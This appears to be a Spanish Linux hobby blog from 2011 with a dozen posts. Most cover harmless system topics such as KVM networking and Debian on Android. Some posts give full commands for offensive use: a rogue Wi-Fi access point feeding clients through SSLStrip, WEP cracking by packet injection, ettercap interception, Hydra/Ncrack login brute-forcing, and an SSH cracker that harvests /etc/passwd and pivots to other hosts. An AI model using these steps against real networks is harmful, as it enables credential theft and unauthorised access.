La guarida del Mal.

AP, SSLStrip en Debian

2011-12-05T15:42:00.003+01:00

Siempre he tenido ganas de montar un AP en una máquina Linux, pero vamos a ir un poco mas allá y vamos a instalar bind, dhcp3-server y sslstrip para que nuestro AP dé un poco mas de juego.

Mediante Bind podremos resolver nosotros mismos las direcciones ip de nuestros clientes, con el servidor DHCP repartiremos ips y con SSLStrip podremos hacer de intermediarios en las peticiones HTTPS realizando las peticiones HTTPS al servidor final y HTTP a nuestros clientes, de este modo el tráfico solo viajará cifrado desde el AP al servidor final.

Instalamos el software necesario:
apt-get install bind9 dhcp3-server hostapd aircrack-ng

Necesitamos una interfaz en modo monitor(mon0), utilizaremos el direccionamiento 192.168.2.X:
airmon-ng start wlan0
ifconfig mon0 192.168.2.1

Configuramos hostapd con la intefaz de red y el SSID:
vi /etc/hostapd/hostapd.conf
interface=mon0
driver=nl80211
ssid=LA QUE MONTA ESTA
hw_mode=g
channel=1

Arrancamos hostapd con la configuración anterior:
/usr/sbin/hostapd /etc/hostapd/hostapd.conf

Configuramos un servidor DHCP para que los clientes que se conecten a nuestro AP reciban una dirección ip:

vi /etc/dhcp/dhcpd.conf
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.2 192.168.2.4;
option domain-name-servers 8.8.8.8;
option routers 192.168.2.1;
}

Habilitamos el enmascaramiento(NAT)
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -d 0.0.0.0/0 -j MASQUERADE

Y ahora obramos el milagro, las peticiones dirigidas al puerto 80 la enviamos a localhost 10000:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Ahora arrancamos sslstrip, este se mantendrá a la espera de peticiones en el puerto 10000:
cd /usr/src
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
tar xvzf sslstrip-0.9.tar.gz
cd sslstrip-0.9
python sslstrip.py -w salida

Dejamos tail monitorizando el fichero de salida de SSLStrip:
tail -f /usr/src/sslstrip-0.9/salida

Rootear LG Optimus2X desde Linux.

2011-12-04T16:37:00.009+01:00

En este articulo voy a explicar como rootear nuestro querido LG Optimus 2X, rootearlo nos permitirá instalar software que de otro modo no funcionaría correctamente, además seremos capaces de flashear nuestro teléfono con ROMs no oficiales.

Activamos la opción de debug / desarrolladores (AJUSTES - APLICACIONES - DESARROLLO - DEPURACION USB)

Descomprimimos el tar.gz y asignamos permisos de ejecución:
chmod +x root.command
chmod +x files/shared.sh
chmod +x files/adb_linux

Comenzamos con el proceso:
./root.command

Ahora ya podremos poner cualquier ROM, yo personalmente estoy bastante contento con la MIUI, es muy rápida pero se come la bateria que da gusto...

Para instalar la ROM debemos utilizar una utilidad del tipo RecoveryBoot, tendremos que copiar la imagen de la ROM en la tarjeta SD externa y luego desde el menú del recovery:
- wipe data/factory reset
- wipe cache partition
- install zip from sdcard --> choose zip from sdcard

Cuando termine ya tendremos la ROM instalada, para cambiarla por otra tendremos que acceder de nuevo al Recovery y repetir el proceso.

Preparar wifi para inyección de paquetes.

2011-12-04T15:55:00.007+01:00

Seguramente hayáis leído algo acerca de la seguridad en redes wireless, pero también habréis notado que la gran mayoría de estos documentos están pensados para utilizarlos en un sistema con la Backtrack corriendo.
En esta ocasión vamos a preparar nuestro sistema para que sea capaz de inyectar tráfico sin tener que emplear tan conocida distro.

Las piezas necesarias para poder realizar la inyección de paquetes son:

Compat-Wireless: Se trata de la pila wireless del kernel, separándola del kernel podremos probar parches que afectan a dicha pila sin tener que parchear el kernel.
Kernel: El resto de drivers.
AirCrack-NG

Lo primero será instalar AirCrack-NG:
apt-get install aircrack-ng

Compilamos las fuentes del kernel, en nuestro caso vamos a hacerlo para el kernel-3.0.2:
cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.0.2.tar.bz2

Habilitamos los drivers de nuestra tarjeta de red(en mi caso ath9k):
Device drivers --> Network Device Support --> Wireless lan --> Atheros Wireless Card:
Atheros 802.11n wireless card support
Atheros ath9k PCI/PCIe bus support

También hacen falta los drivers de Intel, solo Dios sabe porque.....:
Device drivers --> Network Device Support --> Wireless lan --> Intel PRO/Wireless 2100 Network Connection

En la versión 3 del kernel ya no hay que hacer nada de forma manual, nos copiará la imagen del kernel a boot y generará una entrada en el grub.

Reiniciamos el equipo con el kernel nuevo y testeamos la inyección con:
airmon-ng start wlan0
aireplay-ng -9 mon0

Podemos ver las redes que se encuentran a nuestro alcance con:
airodump-ng mon0
airodump-ng --channel "CANAL" mon0

Pero en la primera línea aparecerá un problemilla, si nos fijamos el canal en el que se encuentra la tarjeta es el -1:
CH 9 ][ Elapsed: 4 s ][ 2011-11-01 19:32 ][ fixed channel mon0: -1

Cuando intentemos asociarnos al AP y aparece de nuevo el problema del canal:
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
19:35:46 Waiting for beacon frame (BSSID: 09:01:CF:3F:DF:59) on channel -1
19:35:46 mon0 is on channel -1, but the AP uses channel 9

Para solventar esto tendremos que bajarnos compat-wireless y los parches pertinentes.
cd /usr/src
wget http://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2
tar -jvxf compat-wireless-3.0-2.tar.bz2
cd compat-wireless-3.0-2
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < channel-negative-one-maxim.patch

Se puede optar por compilar todos los drivers o solo los correspondientes a nuestra tarjeta de red, si solo queremos compilar un módulo concreto(este script solo soporta algunas tarjetas, ath9k sí ;) ):
./scripts/driver-select --> Listamos módulos disponibles
./scripts/driver-select ath9k
make
make install
reboot

En el caso de que se quieran compilar todos los drivers:
make
make install
make wlunload
modprobe driver-name
reboot

Si decidimos desinstalar los módulos generados:
cd compat-wireless-...
make uninstall
make wlunload
modprobe "módulo original" o reiniciar

Ahora ya estamos en condiciones de proceder con la inyección de paquetes:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng --channel "CANAL" mon0
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
aireplay-ng -3 -b MAC_AP -h MI_MAC mon0 --> Empezamos a inyectar tráfico
airodump-ng --channel CANAL --bssid MAC_AP --write "nombre_fichero" mon0 --> Empezamos a capturar paquetes
aircrack-ng -a 1 "nombre_fichero.cap" --> Crackeamos los paquetes

Seguro que este articulo le es de ayuda a mas de uno, en mi caso tardé un tiempo en recopilar toda la información necesaria.

Cambio de prompt ^_^

2011-10-22T00:10:00.002+02:00

Este es un pequeño truco con el que conseguiremos un prompt muy especial, cuando ejecutemos un comando correctamente nos mostrará ^_ ^ en verde y si el comando es incorrecto nos mostrará 0_0 en rojo.
Para conseguir esto editamos el fichero .bashrc de nuestro home y añadimos:
PS1="\`if [ \$? = 0 ]; then echo \[\e[33m\]^_^\[\e[0m\]; else echo \[\e[31m\]O_O\[\e[0m\]; fi\` \[\033[01;32m\]\u:\[\033[01;34m\]\w \$\[\033[00m\]"

Ya lo tendríamos listo, a disfrutar ;)

Craking hash MD5 de forma rápida

2011-10-14T21:24:00.002+02:00

La única forma conocida de desencriptar un hash MD5 es mediante fuerza bruta, es decir se genera el hash de una palabra conocida y si el hash obtenido coincide con el que se quiere desencriptar es que el password es esta palabra.
Esto es un proceso muy costoso pero en Internet hay dos formas de hacerlo mas facilmente si tenemos un poco de suerte, los dos métodos son los siguientes:

Tablas Rainbow: Tablas precomputadas de palabras con su correspondiente hash.
Búsqueda en Google del hash

Si tenemos suerte y encontramos el hash de este modo nos ahorraremos muchoooo tiempo quemando micro.

Ettercap en Android

2011-10-09T14:37:00.006+02:00

Siguiendo con las frikerias en Android vamos a instalar ettercap en nuestra Debian "chrooteada" dentro de nuestro Android.
Instalamos ettercap con soporte gráfico:
apt-get install ettercap-gtk

Habilitamos iptables para el reenvío de tráfico:
vi /etc/etter.conf
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Habilitamos el enrutado en el chroot:
echo 1 >

/proc/sys/net/ipv4/ip_forward

Para que ettercap funcione bien en el chroot tendremos que ejecutarlo con UID=0
vi /etc/etter.conf
[privs]
#ec_uid = 65534 # nobody is the default
ec_uid = 0 # nobody is the default
ec_gid = 65534 # nobody is the default

Guardamos y listo!! Ya podemos utilizar ettercap como si de un Linux normal se tratase ;)

Debian mediante chroot en Android

2011-10-05T08:41:00.028+02:00

Llevo tiempo sin escribir ningún artículo pero os aseguro que la espera ha valido la pena.

En esta ocasión vamos a instalar nuestra distro preferida en nuestro teléfono móvil, lo haremos mediante la técnica de "chrooting", de este modo conservaremos nuestro Android intacto y solo arrancaremos la Debian cuando lo deseemos.
Bueno dicho lo dicho empezamos:

Tendremos que ganar acceso root en nuestro terminal, este paso es diferente para cada móvil, para el mío(LG Optimus 2X) se puede hacer siguiendo este procedimiento.

Instalaremos un servidor ssh para acceder a nuestro Android de forma remota, el sshdroid funciona muy bien y además podremos encontrarlo de forma gratuita en el market.

Necesitaremos saber el esquema de particiones que tenemos en Android, para ello conectamos por ssh al móvil y empleamos el comando mount, buscamos la línea que corresponde con el punto de montaje /system:

/dev/block/mmcblk0p1 on /system type ext4 (ro,noatime,errors=continue,barrier=1,data=ordered)

El dato que debemos anotar es: /dev/block/mmcblk0p1

Ahora instalamos en la Debian de nuestra computadora un software llamado debootstrap y generamos el fichero de la Debian del chroot, este fichero puede tener el tamaño que deseemos, pero en mi caso como quiero poder almacenarlo en la tarjeta MicroSD(VFAT) será de 4Gb(el máximo tamaño en VFAT):

apt-get install debootstrap
dd if=/dev/zero of=debian.img bs=1024 count=3955078
mke2fs -F debian.img
mkdir debian
mount -o loop debian.img debian/
debootstrap --verbose --arch armel --foreign squeeze debian http://ftp.us.debian.org/debian
umount debian/
rm -r debian/

Con esto ya tenemos un fichero llamado debian.img con un sistema Debian mínimo, lo copiamos a la tarjeta MicroSD.

Para poder montar la imagen debemos poder escribir en la partición /system, por defecto se monta con permisos de solo eslectura, así que accedemos al móvil por ssh y ejecutamos:
mount -o remount,rw -t ext4 /dev/block/mmcblk0p1 /system

Montamos la imagen de Debian en /data/local/debian:
mkdir /data/local/debian
mount -t ext2 -o rw,noatime,nodiratime,loop /mnt/sdcard/_ExternalSD/debian.img /data/local/debian

Vinculamos proc y sysfs al entorno chroot:
mount -t proc /proc /data/local/debian/proc
mount -t sysfs /sysfs /data/local/debian/sys

Habilitamos el enrutado:
sysctl -w net.ipv4.ip_forward=1

Definimos DNS y /etc/hosts en el chroot:
echo "nameserver 8.8.8.8" > /data/local/debian/etc/resolv.conf
echo "nameserver 8.8.4.4" >> /data/local/debian/etc/resolv.conf
echo "127.0.0.1 localhost" > /data/local/debian/etc/hosts

Montamos las Tarjetas SD(tanto interna del móvil como la MicroSD):
mkdir /data/local/debian/mnt/sdcard
mkdir /data/local/debian/mnt/sdcard/_ExternalSD

mount --bind /mnt/sdcard/ /data/local/debian/mnt/sdcard
mount --bind /mnt/sdcard/_ExternalSD /data/local/debian/mnt/sdcard/_ExternalSD

Accedemos al entorno chroot:
chroot /data/local/debian /bin/bash

Terminamos la instalación e instalamos software interesante:
/debootstrap/debootstrap --second-stage
echo 'deb http://ftp.us.debian.org/debian squeeze main' > /etc/apt/sources.list
apt-get install lxde tightvncserver ettercap-gtk nmap vim netcat

Nos pedirá la configuración de teclado.

apt-get autoclean
apt-get update

Salimos del chroot:
exit

Desmontamos el chiringuito:
umount /data/local/debian/mnt/sdcard/_ExternalSD
umount /data/local/debian/mnt/sdcard
umount /data/local/debian

Ya está ya tenemos una Debian chrooteada, así de fácil, cada vez que queramos acceder a ella tendremos que realizar el proceso de montaje de la imagen, vinculación de /proc /sysfs,......

Para automatizar esto he escrito un script que lo hace por nosotros.
cd /system/xbin/
vi bootdebian.sh

clear
echo " "
echo " "
echo " "
echo +---------------------------------------+
echo "|||| CyberDyne Systems ||||"
echo +---------------------------------------+
echo " "
echo " "
echo " "

echo "Montando /system como R/W"
mount -o remount,rw -t ext4 /dev/block/mmcblk0p1 /system

echo ----------------------------------------
echo "Definiendo variables"
export bin=/system/bin
export img=/mnt/sdcard/_ExternalSD/debian.img
export mnt=/data/local/debian
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
export TERM=linux
export HOME=/root

if [ ! -d $mnt ]; then
mkdir $mnt
fi

echo ----------------------------------------
echo LISTADO VARIABLES:
echo BIN: $bin
echo IMG: $img
echo MNT: $mnt
echo PATH: $PATH
echo TERM: $TERM
echo HOME: $HOME
echo ----------------------------------------

echo ----------------------------------------
echo "Montando la imagen Debian"
echo "mount -t ext2 -o rw,noatime,nodiratime,loop $img $mnt"
busybox mount -t ext2 -o rw,noatime,nodiratime,loop $img $mnt

echo ----------------------------------------
echo "Vinculando pts, proc y sysfs al entorno chroot"
busybox mount -t devpts /dev/pts $mnt/dev/pts
busybox mount -t proc /proc $mnt/proc
busybox mount -t sysfs /sysfs $mnt/sys

echo ----------------------------------------
echo "Habilitando enrutado"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo ----------------------------------------
echo "Definiendo DNS y /etc/hosts en el chroot"
echo "nameserver 8.8.8.8" > $mnt/etc/resolv.conf
echo "nameserver 8.8.4.4" >> $mnt/etc/resolv.conf
echo "127.0.0.1 localhost" > $mnt/etc/hosts

echo ----------------------------------------
echo "Montando /mnt/sdcard en el chroot"
if [ ! -d $mnt/mnt/sdcard ]; then
mkdir $mnt/mnt/sdcard
fi

busybox mount --bind /mnt/sdcard/ $mnt/mnt/sdcard

echo ----------------------------------------
echo "Montando /mnt/sdcard/_ExternalSD en el chroot"
if [ ! -d $mnt/mnt/sdcard/_ExternalSD ]; then
mkdir $mnt/mnt/sdcard/_ExternalSD
fi

busybox mount --bind /mnt/sdcard/_ExternalSD $mnt/mnt/sdcard/_ExternalSD

echo #####################################
echo "Entering The MATRIX... "
echo " "
chroot $mnt /bin/bash

echo " "
echo #####################################
echo "Saliendo The MATRIX... "
echo " "

echo ----------------------------------------
echo "Desmontando /mnt/sdcard/_ExternalSD en el chroot"
busybox umount $mnt/mnt/sdcard/_ExternalSD

echo ----------------------------------------
echo "Desmontando /mnt/sdcard en el chroot"
busybox umount $mnt/mnt/sdcard

echo ----------------------------------------
echo "Deshabilitando enrutamiento"
sysctl -w net.ipv4.ip_forward=0

echo ----------------------------------------
echo "Desvinculando pts, proc y sysfs del chroot"
busybox umount $mnt/dev/pts
busybox umount $mnt/proc
busybox umount $mnt/sys

echo ----------------------------------------
echo "Desmontando imagen Debian"
busybox umount $mnt

echo ----------------------------------------
echo "Remontando /system como solo lectura"
busybox mount -o remount,ro -t ext4 /dev/block/mtdblock3 /system
echo ----------------------------------------

Guardamos y salimos.

Le asignamos el 777 de la muerte:
chmod 777 /system/xbin/bootdebian.sh

Lo ejecutamos:
bootdebian.sh

Con todo esto tenemos una Debian totalmente operativa, pero vamos a ponerle la guinda al pastel consiguiendo las X en este sistema, yo personalmente no he sido capaz de arrancar las X dentro del chroot, lo que hago es arrancar un servidor VNC y conectar desde Android a la Debian del chroot.

Para arrancar el servidor VNC dentro del chroot es necesario definir cierta variable y eliminar ficheros de sesiones VNC anteriores:
export USER=root
rm /tmp/.X*-lock
rm /tmp/.X11-unix/X*
vncserver -geometry 800x480

Pedirá password

Para no tener que hacer esto cada vez que queremos arrancar el servicio nos creamos un mini-script:

vi vnc.sh

#!/bin/bash
export USER=root
rm /tmp/.X*-lock 2>/dev/null
rm /tmp/.X11-unix/X* 2>/dev/null
vncserver -geometry 800x480

chmod +x vnc.sh
./vnc.sh

Ahora desde Android con algún cliente VNC del estilo androidVNC ya podremos conectar en local al servidor del chroot y obtendremos un bonito gestor de ventanas como respuesta ;)

Cuando se salga del chroot hay que matar vnc y la sesión lxde:
vi kill_VNC.sh

#!/bin/bash

PIDS_VNC=$(pidof Xtightvnc)
echo -------------------------
echo Matando Procesos VNC
for i in $PIDS_VNC
do
echo Matando proceso: $i
kill $i
done

PIDS_LXDE=$(pidof lxsession)
echo -------------------------
echo Matando Procesos LXDE
for i in $PIDS_LXDE
do
echo Matando proceso: $i
kill $i
done
echo -------------------------

chmod +x kill_VNC.sh

Ahun así cuando se sale no es capaz de desmontar la imagen de Debian pero si se entra y se sale de nuevo suele funcionar.
Misterios de la vida.....

Bueno esto es todo, espero que le saqueis provecho a todo esto y recordad que tener Linux instalado en el móvil es como llevar siempre encima un micro portatil ;)))

Red-Termite SSH Cracker

2011-06-01T13:53:00.011+02:00

Llevo unos cuantos días escribiendo un script que combina Bash y Expect, se trata de una herramienta de craking ssh.
El script intentará conectarse a los servidores ssh especificados en el fichero de configuración LISTA, este debe estar en el formato: "servidor":"usuario":"password", una vez se haya logado ejecutará last -i y cat /etc/passwd, de este modo tendremos un listado de usuarios y las ips desde las que se conectaron a este servidor.
Despues se intentará acceder a estas ips por ssh empleando:

Ususario: "nombre_usuario" Password: "nombre_usuario"
Ususario: "nombre_usuario" Password: "Listado_usuarios"
Ususario: "Listado_usuarios" Password: "Listado_usuarios"

En las dos primeras opciones solo intentará hacer login en las ips desde donde se conectó cada usuario.

El listado de usuarios se genera a partir de los usuarios obtenidos a través de la conexión ssh y de un fichero local llamado USUARIOS_COMUNES_PREDEFINIDOS, he añadido bastantes nombres de diferentes series, peliculas....... pero se pueden añadir los diccionarios que se deseen:
cat "diccionario" >> USUARIOS_COMUNES_PREDEFINIDOS

Este script se sirve de NMap, NCrack y Dos2Unix para realizar sus operaciones, NMap y Dos2Unix se pueden instalar desde los repositorios:
apt-get install nmap tofrodos

Para instalar NCrack deberemos seguir este artículo anterior donde se explico como hacerlo.

El script consta de varios subscripts:

Connect.sh: Script desde el que se iniciarán el resto de scripts.
Expect_Nmap_SSH.exp: Script que comprueba que el puerto 22 está escuchando en el host destino.
Expect_SSH.exp: Script que realiza la conexión por ssh y ejecuta los comandos last -i y cat /etc/passwd.
Process.sh: Script que procesa la salida del script anterior.
Auto_Crack.sh: Script que lanza NCrack con los usuarios y passwords obtenidos a partir de las conexiones ssh.

El script solo es válido para sistemas que permitan la opción -i en el comando last por ejemplo FreeBSD no lo permite!! No se si en BSD y otros Unix hay equivalente, pero si la hay será fácil realizar las modificaciones pertinentes en el script en Expect(Expect_SSH.exp).

Virtualización con Kernel-based Virtual Machine KVM

2011-05-24T18:14:00.028+02:00

KVM es una solución de virtualización que se apoya en Qemu como software de virtualización y en unos módulos del kernel para aprovechar los registro VT en procesadores Intel y SVM en los AMD.

Lo primero que haremos será configurar estos módulos en nuestro kernel:
Virtualization --> Kernel-based Virtual Machine (KVM) support --> KVM for Intel processors support

NOTA: En mi caso se trata de un microprocesador de Intel.

Instalamos las aplicaciones a nivel de usuario, para que la gestión de las máquinas virtuales sea mas cómoda también vamos a instalar una utilidad de gestión:
apt-get install qemu-kvm aqemu

Desde aqemu debe ser posible acceder a diferentes funcionalidades de Linux que solo es posible acceder con permisos de root, se pueden cambiar los permisos de diferentes dispositivos pero los mas fácil es editar los comandos permitidos por sudo:
visudo
"usuario" ALL=(root)NOPASSWD: /usr/bin/aqemu

KVM tiene el tema de gestión de red un poco verde, si tenemos una tarjeta de red ethernet no hay problema, tan solo habrá que generar un bridge de la tarjeta cableada pero si la tarjeta de red es inalámbrica en principio esto no es posible, a continuación explicaré como resolver cada uno de los escenarios.

Instalamos el software necesario:
apt-get install uml-utilities parprouted bcrelay

Red cableada:

Para que las máquinas virtuales puedan integrarse en nuestra red cableada es necesario crear un bridge entre nuestra tarjeta de red ethernet y una interfaz tap.

Generamos la interfaz y la levantamos:

tunctl -t tap0
ifconfig tap0 up

Creamos el bridge y le añadimos la interfaz ethernet y la virtual:
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 tap0

Reconfiguramos la interfaz ethernet para que no posea ninguna dirección IP y le asignamos una al bridge:

ifconfig eth0 0.0.0.0
dhclient br0

Ahora asociamos nuestra tap0 a la máquina virtual:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Nuestra máquina virtual ya se comportará como si se tratase de un equipo físico conectado a la red ;)

Red wireless:

En la red wireless debemos hacer dos distinciones según el método de asignación de direcciones IP a las máquinas virtualizadas:

IP estática:

Habilitamos el enrutado en el kernel:
echo 1 > /proc/sys/net/ipv4/ip_forward

Generamos una interfaz TAP:
tunctl -t tap0
ifconfig tap0 up

Le asignamos una ip de nuestra red:
ifconfig tap0 192.168.1.100

Con Parprouted conseguiremos hacer magia, se trata de un proxy ARP a nivel 3 ;))
parprouted wlan0 tap0

Añadimos una ruta estática para la máquina virtual:
route add -host 192.168.1.200 dev tap0

Ahora configuramos la máquina virtual en qemu:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Dentro de la máquina virtual se configurará la direcciín IP de forma estática indicandole la IP: 192.168.1.200

Con esto la máquina virtual se podrá comunicar con Internet y con la máquina anfitrión.

IP dinámica:

Habilitamos el enrutado en el kernel:
echo 1 > /proc/sys/net/ipv4/ip_forward

Generamos una interfaz TAP:
tunctl -t tap0
ifconfig tap0 up

Le asignamos una ip de nuestra red:
ifconfig tap0 192.168.1.100

Habilitamos el proxy ARP de capa3:
parprouted wlan0 tap0

Parprouted tiene un inconveniente y es que solo permite el paso de tráfico unicast por el bridge, por lo tanto las peticiones DHCP serán capadas, pero existe la herramienta bcrelay que solventa este problema:
bcrelay -i tap0 -o wlan0 &

Ahora configuramos la máquina virtual en qemu:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Dentro de la máquina virtual se configurará la dirección IP de forma dinámica.

NOTA: Las direcciones IP para las interfaces TAP he decidido que empiezen por la 100 y las IPs de las máquinas virtuales a partir de la 200, estos rangos son totalmente arbitrarios, yo los elegí porque son rangos libre de mi direccionamiento

Para cada máquina virtual habrá que añadir una interfaz tap distinta ocupando una ip de nuestra red :(
Si queremos que las máquinas virtuales puedan comunicarse entre ellas habrá que "bridgearlas" entre ellas:
parprouted tap0 tap1

De este modo nos podremos olvidar de los tediosos problemas que dan Vmware y VirtualBox cuando recompilamos el kernel, módulos que no compilan o ñapas en el código......

NOTA: Si se configura una máquina virtual Linux para que pida dirección por DHCP no funciona, este es un tema en el que seguiré indagando.

Dejo estos scripts para que todo sea automático, nos generará un TAP por máquina vritual, le asignará un IP y la meterá en un bridge junto con el resto de máquinas consiguiendo que todos puedan verse con todos y además tengan acceso a Inet ;), además el script configura de forma automática las intyerfaces con bcrelay.

Para que funcionen tendremos que definir algunas variables en AQemu_UP.sh

- AQemu_UP.sh
#!/bin/bash
clear
echo "|---------------------------------------|"
echo "| Script configuracion interfaces AQemu |"
echo "| By Kr0m V0.1b |"
echo "|---------------------------------------|"
echo " "
echo " "

rm -rf /tmp/TAPS 2>/dev/null
rm -rf /tmp/IP_VM 2>/dev/null

DIR_AQEMU=/mnt/datos/AQemu
N=0
RED_TAP=192.168.1.
IP_TAP=100
RED_VM=192.168.1.
echo $RED_VM > /tmp/RED_VM
IP_VM=200
echo $IP_VM > /tmp/IP_VM
WIFI=wlan0

echo 1 > /proc/sys/net/ipv4/ip_forward

for i in $DIR_AQEMU/*.aqemu
do
#echo i: $i
#echo N: $N
#echo IP_TAP: $IP_TAP
#echo IP_VM: $IP_VM
tunctl -t tap$N
ifconfig tap$N up
ifconfig tap$N $RED_TAP$IP_TAP
route add -host $RED_VM$IP_VM dev tap$N
bcrelay -i tap$N -o $WIFI &
let N=$N+1
let IP_TAP=$IP_TAP+1
let IP_VM=$IP_VM+1
done

N=$((N-1))
#echo N: $N
parprouted $WIFI $(for t in $(seq 0 $N); do echo tap$t; done)

echo $N > /tmp/TAPS

echo " "
echo " "
echo "---------- INTERFACES DE RED ---------------"
ifconfig

echo " "
echo "---------- TABLA DE RUTAS ------------------"
route -n

echo " "
echo "---------- PROCESOSO ARRANCADOS ------------------"
ps aux | grep bcrelay | grep -v grep
ps aux | grep parprouted | grep -v grep

- AQemu_DOWN.sh
#!/bin/bash
clear
echo "|---------------------------------------------|"
echo "|Script eliminacion interfaces AQemu |"
echo "|---------------------------------------------|"
echo " "
echo " "

echo 0 > /proc/sys/net/ipv4/ip_forward

N=$(cat /tmp/TAPS)
for i in $(seq 0 $N)
do
ifconfig tap$i down
done

killall parprouted
killall bcrelay

echo " "
echo " "
echo "------------- INTERFACES DE RED ---------------"
ifconfig

echo " "
echo "------------- TABLA DE RUTAS ------------------"
route -n

echo " "
echo "------------- PROCESOS ARRANCADOS ------------------"
ps aux | grep bcrelay | grep -v grep
ps aux | grep parprouted | grep -v grep

NOTA: Estos scripts precisan de privilegios de root, para ello configuraremos sudo de tal modo que:
"usuario" ALL=(root)NOPASSWD: "ruta AQemu_UP.sh"
"usuario" ALL=(root)NOPASSWD: "ruta AQemu_DOWN.sh"

NeoGeo

2011-05-17T19:46:00.013+02:00

El otro día me entró el gusanillo de jugar a algún juego de estos de la vieja escuela, tipo Metal Slug así que me dispuse a instalar un emulador de NeoGeo (gngeo).

Nos bajamos el emulador de aquí.
tar xvzf gngeo-****.tar.gz
cd gngeo-****/
./configure
make
make install

Bajamos la interfaz gráfica de aquí.
bzip2 -dc XGngeo-****.tar.bz2 | tar xv
cd XGngeo-****l
./setup.py install

La interfaz gráfica tiene algunos bugs que se pueden solventarse del siguiente modo:
mkdir -p /usr/share/xgngeo
cp -r XGngeo-16/data/img/ /usr/share/xgngeo/
mkdir -p /usr/lib/python2.6/site-packages/xgngeo
cp XGngeo-16/data/py/* /usr/lib/python2.6/site-packages/xgngeo

Nos hará falta la BIOS de la consola.
Cuando arranquemos el gestor gráfico nos aparecerá un asistente donde le indicaremos la ruta de ciertos ficheros como:

El directorio de la BIOS.
El directorio donde se encuentra el driver de las ROMs: Este directorio creo que no se emplea para nada
El ejecutable de gngeo.

Con esto ya estamos preparados para jugar al Metal Slug entre otros ;;)

Ncrack

2011-05-17T15:30:00.006+02:00

Hace poco escribí un artículo sobre como crackear logins de acceso mediante Hydra, explicaba que se alcanzaba el máximo número de ficheros abiertos simultaneamente en nuestro sistema y por esta razón había que modificar ciertos parámetros, cual ha sido mi sorpresa cuando esto seguía ocurriendo incluso después de aplicar los cambios.

A raíz de esto me he dispuesto a probar Ncrack. Este programa viene de la mano de los creadores de nmap y cuenta con soporte para los siguientes protocolos:

FTP
TELNET
SSH
HTTP/S
SMB
RDP
VNC
POP3/S

Se encuentra en fase alpha pero parece funcionar bien ;)

Primero deberemos instalar la librería libssh(no estoy seguro de si este paso es estrictamente necesario):
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Nos bajamos Ncrack lo compilamos y lo instalamos:
wget http://nmap.org/ncrack/dist/ncrack-******.tar.gz
tar xvzf ncrack-******.tar.gz
cd ncrack-******.tar.gz
./configure
make
make install

Un ejemplo de uso:
ncrack -iL HOSTS -p ssh -U USER -P PASS

Donde HOSTS es el listado de ips, ssh el servicio, USER el listado de usuarios y PASS la lista de passwords.
A disfrutar que la vida son dos días!!

Service tag desde la línea de comandos.

2011-05-15T18:42:00.003+02:00

El service tag es un numerito que los fabricantes de equipos piden a los clientes para saber que equipo compraron en su momento, este número puede ser obtenido desde la línea de comandos con la orden:
dmidecode -s system-serial-number

Puede ser útil para llevar una base de datos de los service tags de nuestra empresa, mediante un script en expect resultaría bastante sencillo generar la base de datos ;)

Correspondencia UUID (Universally Unique Identifier) partición

2011-05-15T18:20:00.003+02:00

En la última versión de Debian el fstab ya viene con los UUID (Universally Unique Identifier) configurados para hacer referencia a las particiones de nuestro sistema, yo personalmente odio estos números sin sentido ya que no puedo ver de un vistazo que partición se monta sobre que directorio (Sí ya se que en los comentarios pone la partición).
El empleo de UUID tiene una ventaja (y seguramente alguna mas) en cuanto a dispositivos de almacenamiento externos como discos duros USB. Si tenemos dos discos, cada uno con su UUID y el fstab configurado por UUID cuando conectemos alguno de ellos se montará en el directorio especificado en el fstab sin importar el orden de conexión.

Ahora supongamos que configuramos el fstab por "dispositivo" con las entradas:
/dev/sda1 /mnt/usb1 ext4 defaults 0 2
/dev/sdb1 /mnt/usb2 ext4 defaults 0 2

El primer disco que conectemos será /dev/sda1 y el segundo /dev/sda2, por lo tanto si conectamos el disco usb2 será el dispositivo /dev/sda1 y se montará en el directorio /mnt/usb1 cosa que no queremos que ocurra!!!

Si queremos ver la correspondencia de UUID a partición es tan sencillo como ejecutar:
ls -l /dev/disk/by-uuid/

Yo personalmente lo tengo configurado por dispositivo las particiones del sistema y por UUID los discos externos ;)

Crackeador Hydra

2011-05-14T15:58:00.006+02:00

THC-Hydra es una herramienta que nos permite crackear cuentas de usuario de varios servicios:
cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy icq irc imap ldap2 ldap3[-{cram|digest}md5] mssql mysql ncp nntp oracle-listener oracle-sid pcnfs pop3 pcanywhere postgres rexec rlogin rsh sip smb smbnt smtp smtp-enum snmp socks5 ssh svn teamspeak telnet vnc vmauthd xmpp

Para que poder crackear cada uno de los servicios debemos tener instaladas las librerias que requiera cada uno de los servicios. En nuestro caso nos vamos a centrar en SSH.

Primero deberemos instalar la librería libssh:
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Ahora ya estamos listos para instalar Hydra(la última versión estable NO compila correctamente a fecha e este artículo):
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar xvzf hydra.....
cd ...
./configure
make
su
make install

